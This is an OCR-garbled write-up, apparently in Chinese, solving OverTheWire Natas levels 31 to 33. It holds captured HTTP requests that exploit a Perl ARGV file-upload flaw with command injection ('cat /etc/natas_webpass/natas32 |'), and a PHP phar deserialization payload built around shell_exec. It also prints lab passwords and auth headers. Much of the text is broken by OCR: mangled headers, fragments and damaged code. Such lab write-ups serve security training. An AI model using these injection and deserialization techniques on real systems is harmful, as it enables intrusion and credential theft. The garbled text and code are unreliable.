POS f na... index.pl?/etc/natas_webpass/natas32 Nei htr 112 19
POS f na... index.pl?/etc/natas_webpass/natas32 Net htr 112, 19

We all like .csv files.

PO 4 na... index.pl?cat /etc/natas_webpass/natas32 | Net htm 112.. 19 Butisn't a nicely rendered and sortable table much cooler?

FERRRRARRAARAARA

POt # na... index.pl?cat /etc/natas_webpass/nata- +% Net htm 212.. 19
POt  na... index.pl Net htn 180.. 16 Select file to upload: Browse [Upload |
PO: # na... index.pl?cat fetc/natas_webpass/natas32 | Net hitm 112.. 19
PO: # na... index.pl?cat fetc/natas_webpass/natas #, Nei htm 507 .. 321
PO: # na... index.pl?cat fetc/natas_ webpass/nata- %, Net htm 112 19

POt £ na... indexpl?cat /etc/natas webpass/natas32 |

HiE irst) <r B#z: http:iinatas31.n
i-4 Iz

Raw | Z#1 | 3 | Hex Raw | 25 | Hex | HTML | Render

Host: natas31 natas labs overthewire.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WinG4; x64; rv:50.0) Gecko/20100101 Firefox/90.0

| Accept: texthtml licationfxhtml+xml licationfxml,g=0.9 imageiwebp **g=08

Accept-Language: zh-CN zh;gq=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=03 en;g=0.2

| Accept-Encoding: gzip, deflate

| Referer: hitp:/inatas31 natas labs . overthewire.orgl
Content-Type: multipartform-data; boundary=

Cortent-Length: 512

Origin: hitp: /inatas31 natas labs overthewire.org

| Autharization: Basic bmF O XMzMTpo Y k3 Wil uZ21 S2FlenvhdGh azlisWuMHB 1 MG==

Connection: close

Upgrade-Insecure-Reqguests: 1

Pragma: no-cache

Cache-Control: no-cache

T

NATAS31

--281718646220200085922365941 5934

nolvohsheCaiv3ieHdemlahchisainge

281718646220200085922365941534 p—
Content-Disposition: form-data; name="file",
Cortent-Type: applicationfvnd ms-excel

281718646220200085922365941534
Content-Disposition: form-data; name="file", flename="test.cev"
Cortent-Type: applicationfvnd ms-excel

----------------------------- 281718646220200085922365941 934
I Content-Disposition: form-data; name="submi"

||Upload
| — 281718646220200085922365941 5934 -

o TFEEAFurlSIN:  ?cat%20/etc/natas_webpass/natas32%20| i ?/etc/natas_webpass/natas32 .

o [EIERMAET RN ARGV o




Level 31 -> Level 32

Username: natas32
URL:http://natas32.natas.labs.overthewire.org

v

o KRR E—RFEM, (B2l burpSuite Ik IKIPUM MNEHE, XA E S5 HAb i writeup. X HL I &) £

o NN1s -1 . | AEX NI,
o NI cat getpassword.c | A4 W YR .

o VNI ./getpassword | HITILAFHRIRETY.

iR

Raw | 2% | & | Hex

DRz

Raw | 3% | Hex | HTML | Render

POST findex pl? fgetpasswor%20| HTTPH 1

Host: natas32 natas labs . overthewire org

User-Agent: Mozilla/s.0 (Windows NT 6.1, Wing4, x64; rv:90.0) Geckof20100101 Firefox/20.0
Accept: text/html applicationfxhtml+xml applicationxml,g=0.9 imagefwebp ** g=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK,g=0.5 en-US;g=0.3 en;q=0 2
Accept-Encoding: gzip, deflate

Cortert-Type: multipart/form-data; houndary=--------
Contert-Length: 512

Origin: hitp: inatas32 natas labs overthewire.org
Authorization: Basic bmF0Y ¥MzMipubzF2b2hzaGVDYWIZM2ISDRILTFhaGMoaXMhalWan Z0==
Connection: close

Referer: http: /inatas32 natas labs overthewire org/

Upgrade-Insecure-Requests: 1

............................. 33404364291 7186279643143902902
I Cortert-Dispostion: form-data; name="fil",
Contert-Type: application/vnd ms-excel

----------------------------- 415917003710335351451 203896169
Contert-Disposttion: form-data; name="file", filename="test cev"
Cortert-Type: application/octet-stream

----------------------------- 415917003710335351451 203896169
I Content-Disposition: form-data; name="submit"

_____________________________ 415917003710335351451 2038961 65--

415817003710335351451203896169

'y
o

NATAS32

ARGV

shoogeiGa2yee3debAex8uaXeech5eey

Level 32 -> Level 33

Username: natas33
URL:http://natas33.natas.labs.overthewire.org

, C

o XK EAEphars T B, B TRARPHPIAE, X HLA

S,

e i, FfE—xxphpf

5, FRGEHCEIG ), HARNEWT:

<?php echo shell exec( ); >

o FE—ANHEE X pharsc ), Bt PHPI iz 174 fpharsc 4,

j

’

y3

ffii

- B

1183,



<?php
class Executor {
private $filename = ;
private $signature = True;

private $init = false;

$phar = new Phar(

$phar->startBuffering();
$phar->addFromString(
$phar->setStub(

$0 = new Executor();
$phar->setMetadata($o);
$phar->stopBuffering();
?>

=]

o B FZMECN phar: //test.phar/test.txt , wiflimd5 file OO EREFEHTpharscRs, FREUHE,

shuSouSu6eicielahhae@mohd4ui5uig

Level 33 -> Level 34

Username: natas34
URL:http://natas34.natas.labs.overthewire.org

Congratulations! You have reached the end... for now.

o IR T IR IwebZ 4 H T, X MwebZd 4 1)t 2 bt gk iR,
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